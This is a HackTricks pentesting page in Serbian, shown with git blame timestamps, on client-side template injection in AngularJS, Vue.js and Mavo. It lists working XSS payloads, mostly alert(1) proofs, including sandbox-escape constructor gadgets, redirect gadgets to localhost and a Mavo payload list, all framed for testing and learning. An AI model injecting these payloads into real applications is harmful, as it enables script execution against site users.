hacktricks/pentesting-web/client-side-template-injection-csti.md

103 lines
6.8 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 12:41:36 +00:00
# Summary
2024-02-10 13:11:20 +00:00
To je kao [**Server Side Template Injection**](ssti-server-side-template-injection/) ali na **klijentskoj strani**. **SSTI** vam omogućava da **izvršite kod** na udaljenom serveru, dok bi **CSTI** mogao da vam omogući izvršavanje proizvoljnog JavaScript koda na žrtvi.
2024-02-10 13:11:20 +00:00
Način **testiranja** ove ranjivosti je veoma **sličan** kao i u slučaju **SSTI**, interpreter će očekivati nešto što treba da se izvrši **između dvostrukih ključeva** i izvršiće to. Na primer, koristeći nešto poput: `{{ 7-7 }}` ako je server **ranjiv**, videćete `0`, a ako nije, videćete original: `{{ 7-7 }}`
2022-05-01 12:41:36 +00:00
# AngularJS
2024-02-10 13:11:20 +00:00
AngularJS je široko korišćen JavaScript okvir koji komunicira sa HTML-om putem atributa poznatih kao direktive, a jedna od njih je **`ng-app`**. Ova direktiva omogućava AngularJS-u da obradi HTML sadržaj, omogućavajući izvršavanje JavaScript izraza unutar dvostrukih vitičastih zagrada.
2024-02-10 13:11:20 +00:00
U scenarijima gde korisnički unos dinamički bude umetnut u telo HTML-a označeno sa `ng-app`, moguće je izvršiti proizvoljni JavaScript kod. To se može postići iskorišćavanjem sintakse AngularJS-a unutar unosa. U nastavku su prikazani primeri kako se može izvršiti JavaScript kod:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
2021-06-29 12:49:13 +00:00
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
2024-02-10 13:11:20 +00:00
Možete pronaći vrlo **osnovni online primer** ove ranjivosti u **AngularJS**-u na [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) i na **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**
2021-06-29 12:49:13 +00:00
{% hint style="danger" %}
2024-02-10 13:11:20 +00:00
[**Angular 1.6 je uklonio sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) tako da od ove verzije, payload poput `{{constructor.constructor('alert(1)')()}}` ili `<input ng-focus=$event.view.alert('XSS')>` treba da funkcioniše.
2021-06-29 12:49:13 +00:00
{% endhint %}
2022-05-01 12:41:36 +00:00
# VueJS
2024-02-10 13:11:20 +00:00
Možete pronaći **ranjivu implementaciju vue.js**-a na [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Radni payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
2024-02-10 13:11:20 +00:00
Izvorni kod ranjivog primera možete pronaći ovde: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
2024-02-10 13:11:20 +00:00
Jedan veoma dobar post o CSTI u VUE-u može se pronaći na [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
2021-11-22 11:32:00 +00:00
2022-05-01 12:41:36 +00:00
## **V3**
```
2021-02-25 11:39:28 +00:00
{{_openBlock.constructor('alert(1)')()}}
```
2024-02-10 13:11:20 +00:00
Kredit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
2021-02-25 11:39:28 +00:00
2022-05-01 12:41:36 +00:00
## **V2**
```
2021-02-25 11:39:28 +00:00
{{constructor.constructor('alert(1)')()}}
```
2024-02-10 13:11:20 +00:00
Kredit: [Mario Heiderich](https://twitter.com/cure53berlin)
2021-02-25 11:39:28 +00:00
2024-02-10 13:11:20 +00:00
**Proverite više VUE payloada na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
2021-11-22 11:32:00 +00:00
2022-05-01 12:41:36 +00:00
# Mavo
2022-04-05 22:24:52 +00:00
Payload:
```
2021-06-25 16:39:43 +00:00
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
2021-02-25 11:39:28 +00:00
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
2021-06-25 16:39:43 +00:00
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
2024-02-10 13:11:20 +00:00
**Više payloada na** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
2024-02-10 13:11:20 +00:00
# **Lista za otkrivanje Brute-Force napada**
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>